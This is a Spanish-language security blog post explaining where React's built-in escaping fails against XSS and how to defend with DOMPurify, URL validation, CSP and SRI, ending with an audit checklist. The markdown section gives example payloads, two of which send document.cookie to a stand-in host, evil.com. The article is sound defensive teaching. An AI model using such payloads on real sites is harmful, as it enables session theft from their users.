Volver al blog
ReactXSSSeguridadCSPFrontend

XSS en React: Lo que Todo Desarrollador Necesita Saber en 2026

Introducción

Uno de los conceptos erróneos más comunes en el desarrollo web moderno es que "React es seguro por defecto". Aunque es cierto que el JSX de React escapa automáticamente los valores antes de renderizarlos — previniendo la inyección clásica de <script>alert(1)</script> — la realidad es más matizada. El Cross-Site Scripting (XSS) sigue siendo una de las vulnerabilidades más prevalentes en aplicaciones React, y no muestra señales de desaparecer.

En este artículo iremos más allá de lo básico. Aprenderás exactamente dónde React puede y no puede protegerte, examinarás vectores de ataque XSS del mundo real en aplicaciones React y construirás una estrategia de defensa integral que incluya Content Security Policy (CSP), patrones de renderizado seguro y un checklist de auditoría que puedes usar en tu próxima revisión de código.

Cómo te Protege React (y Dónde se Detiene)

El Escudo del JSX

La primera línea de defensa de React es el escaping automático. Cuando escribes JSX, React usa React.createElement por debajo, que convierte los valores dinámicos a cadenas antes de insertarlos en el DOM:

jsx
const userInput = "<img src=x onerror=alert(1)>";
return <div>{userInput}</div>;
// Renderiza: <div>&lt;img src=x onerror=alert(1)&gt;</div>

Esto funciona porque React nunca pasa cadenas en bruto a innerHTML. Usa textContent o createTextNode, que son inherentemente seguros. Esta protección cubre:

  • Interpolación de cadenas en expresiones JSX
  • Props como children, title, alt, placeholder
  • Handlers de eventos (son funciones, no cadenas)

Las Zonas de Peligro

La protección de React se detiene donde empiezan las APIs del DOM. Estos son los lugares donde las vulnerabilidades XSS aparecen comúnmente en aplicaciones React:

1. dangerouslySetInnerHTML

El nombre es una advertencia. Esta prop elude por completo el escaping de React:

jsx
<div dangerouslySetInnerHTML={{ __html: userContent }} />

Esto es necesario para el renderizado de texto enriquecido (markdown, emails HTML, contenido WYSIWYG), pero también es el vector XSS más común en aplicaciones React.

2. Inyección de URLs

React NO valida URLs. Un atacante puede inyectar URLs javascript: o explotar redirecciones abiertas:

jsx
<a href={userProvidedUrl}>Click me</a>
// Si userProvidedUrl = "javascript:alert(1)", esto se ejecuta al hacer clic

3. Mismatches de hidratación SSR

El Server-Side Rendering puede introducir XSS cuando el servidor y el cliente producen HTML diferente. Si el servidor renderiza contenido sin sanear y el cliente hidrata sobre él, el HTML sin sanear puede ejecutarse antes de que React tome el control.

4. Scripts e incrustaciones de terceros

Google Tag Manager, fragmentos de analítica, widgets de chat en vivo y redes de anuncios inyectan todos scripts en la página. Un script de terceros comprometido puede leer tus cookies, exfiltrar datos o desfigurar la página — y React no puede hacer nada al respecto.

Vectores de Ataque XSS del Mundo Real

Vector de Ataque 1: Renderizadores de Markdown

Muchas aplicaciones React renderizan contenido generado por el usuario a través de markdown. Librerías como react-markdown o remark-html pueden producir HTML con scripts incrustados:

jsx
import { remark } from 'remark';
import html from 'remark-html';

const content = await remark()
  .use(html)
  .process(userInput);

return <div dangerouslySetInnerHTML={{ __html: String(content) }} />;

Si el parser de markdown no elimina las etiquetas peligrosas, el atacante escribe:

markdown
[Click me](javascript:alert(1))

<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

<img src=x onerror="new Image().src='https://evil.com/'+document.cookie">

La solución: Acompaña siempre el renderizado de markdown con un saneador como DOMPurify:

jsx
import DOMPurify from 'dompurify';

const sanitized = DOMPurify.sanitize(String(content));
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;

Vector de Ataque 2: Inyección de URLs y Protocolos

React no elimina los esquemas de URL peligrosos. Esto afecta a las props href, src, action y formAction:

jsx
// El usuario proporciona: "javascript:document.cookie"
<a href={profile.website}>Website</a>

La solución: Valida y sane las URLs antes de renderizar:

jsx
function isSafeUrl(url: string): boolean {
  try {
    const parsed = new URL(url);
    return ['http:', 'https:', 'mailto:', 'tel:'].includes(parsed.protocol);
  } catch {
    return false;
  }
}

return isSafeUrl(url) ? <a href={url}>Link</a> : <span>{url}</span>;

Vector de Ataque 3: Inyección SVG

Los archivos SVG pueden contener JavaScript incrustado mediante etiquetas <script> y handlers de eventos. Si renderizas SVGs subidos por usuarios con dangerouslySetInnerHTML, estás expuesto:

xml
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('XSS')</script>
  <rect width="100" height="100" fill="red" onload="alert(1)"/>
</svg>

La solución: Nunca renderices SVGs sin sanear directamente. Usa DOMPurify con soporte SVG, o convierte los SVGs a imágenes (lo que elimina la ejecución de scripts).

Vector de Ataque 4: Inyección JSON en getServerSideProps de Next.js

En Next.js, los datos pasados desde getServerSideProps se serializan a JSON y se incrustan en el HTML de la página. Si incluyes entrada del usuario en los datos serializados sin escapar, puedes salir del contexto JSON:

tsx
export async function getServerSideProps({ query }) {
  return {
    props: {
      // La entrada del usuario se incrusta directamente en el HTML de la página
      name: query.name, // </script><script>alert(1)</script>
    }
  };
}

Next.js escapa esto por defecto con __NEXT_DATA__, pero si inyectas datos manualmente en la cabecera o el cuerpo del HTML usando dangerouslySetInnerHTML, eludes esa protección.

Construyendo una Defensa Multicapa

Capa 1: Content Security Policy (CSP)

La CSP es la defensa individual más efectiva contra el XSS. Le dice al navegador qué fuentes tienen permitido ejecutar scripts, incluso si un atacante consigue inyectar una etiqueta <script>.

Una CSP estricta para una aplicación React se ve así:

Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.yourdomain.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';

Nota importante para React: React usa handlers de eventos inline en modo de desarrollo (no en producción). En producción, React genera HTML estático, así que no necesitas 'unsafe-inline' para scripts — pero puede que lo necesites para estilos si usas librerías CSS-in-JS.

Para Next.js: Añade las cabeceras CSP en next.config.ts o vía middleware.ts:

ts
// middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';

export function middleware(request: NextRequest) {
  const csp = [
    "default-src 'self'",
    "script-src 'self'",
    "style-src 'self' 'unsafe-inline'",
    "img-src 'self' data: https:",
    "connect-src 'self'",
    "frame-ancestors 'none'",
    "base-uri 'self'",
    "form-action 'self'",
  ].join('; ');

  const response = NextResponse.next();
  response.headers.set('Content-Security-Policy', csp);
  return response;
}

Capa 2: Validación de Entrada y Codificación de Salida

La regla de oro de la prevención de XSS es: nunca confíes en la entrada del usuario, codifica siempre la salida.

  • Valida en la entrada: Rechaza o sane el contenido peligroso en la capa de API. Librerías como zod pueden imponer esquemas estrictos y eliminar HTML.
  • Codifica en la salida: Deja que el JSX de React haga la codificación por ti. Usa dangerouslySetInnerHTML solo cuando sea absolutamente necesario, y acompáñalo siempre con DOMPurify.
tsx
import { z } from 'zod';
import DOMPurify from 'dompurify';

const commentSchema = z.object({
  body: z.string().max(5000),
  author: z.string().min(1).max(100),
});

// En el servidor
const sanitized = DOMPurify.sanitize(validated.body);

// En el cliente
return <div dangerouslySetInnerHTML={{ __html: sanitized }} />;

Capa 3: Patrones de Renderizado Seguro

Evita dangerouslySetInnerHTML cuando sea posible. Pregúntate:

  • ¿Puedo usar componentes de React en lugar de HTML en bruto? (por ejemplo, react-markdown con rehype-sanitize)
  • ¿Puedo usar renderizado con textContent en su lugar?
  • ¿Puedo renderizar el HTML en el servidor y sanearlo allí?

Cuando debas renderizar HTML, usa un pipeline:

Entrada del Usuario → Validación con Zod → Saneamiento con DOMPurify → dangerouslySetInnerHTML

Capa 4: Subresource Integrity (SRI)

Para scripts de terceros cargados vía <script src="..."> o el componente Script de Next.js, añade hashes de integridad:

tsx
import Script from 'next/script';

<Script
  src="https://www.googletagmanager.com/gtag/js?id=G-XXXXXXX"
  integrity="sha384-..."
  crossOrigin="anonymous"
/>

Esto garantiza que el navegador solo ejecute el script si coincide con el hash esperado, evitando que scripts de CDN manipulados se ejecuten.

Checklist de Auditoría XSS para Aplicaciones React

Usa este checklist en tu próxima revisión de código o auditoría de seguridad:

  • [ ] dangerouslySetInnerHTML — cada uso necesita aprobación explícita y DOMPurify
  • [ ] Inyección de URLs — todas las props href, src, action validadas para protocolos seguros
  • [ ] Renderizadores de markdown — acompañados de un saneador (DOMPurify, rehype-sanitize)
  • [ ] Subidas de SVG — nunca renderizados directamente; convertidos a imágenes o saneados
  • [ ] Cabeceras CSP — configuradas con políticas estrictas (sin 'unsafe-inline' en scripts en producción)
  • [ ] Scripts de terceros — cargados con hashes de integridad (SRI)
  • [ ] Hidratación SSR — el servidor y el cliente producen HTML idéntico
  • [ ] Inyección JSON en SSR — la entrada del usuario no se incrusta directamente en el HTML
  • [ ] Entradas de formularios — validadas tanto en el cliente como en el servidor (nunca confíes solo en la validación del cliente)
  • [ ] Handlers de eventos — sin handlers inline en producción (eval está deshabilitado por una CSP estricta)

Conclusión

El escaping automático de React es una defensa poderosa, pero no es una bala de plata. Las vulnerabilidades XSS en aplicaciones React aparecen típicamente en los casos límite: renderizado de texto enriquecido, manejo de URLs, inyección SVG e integraciones de terceros. La estrategia más efectiva combina las protecciones integradas de React con una Content Security Policy estricta, validación de entrada adecuada y saneamiento de salida como enfoque de defensa en profundidad.

Recuerda: la seguridad no es una función que añades al final. Es un conjunto de prácticas que integras en cada pull request, cada revisión de código y cada despliegue. El checklist anterior te da un punto de partida concreto para tu próxima auditoría.

La próxima semana: Nos sumergiremos en la Content Security Policy para aplicaciones Next.js, incluyendo CSP basada en nonce, strict-dynamic y cómo configurar endpoints de reporting para detectar intentos XSS reales en producción.

Comparte este artículo:TwitterLinkedIn
JS

JS Security Audit

Auditorías dirigidas por un ingeniero de seguridad JavaScript senior con más de 10 años de experiencia.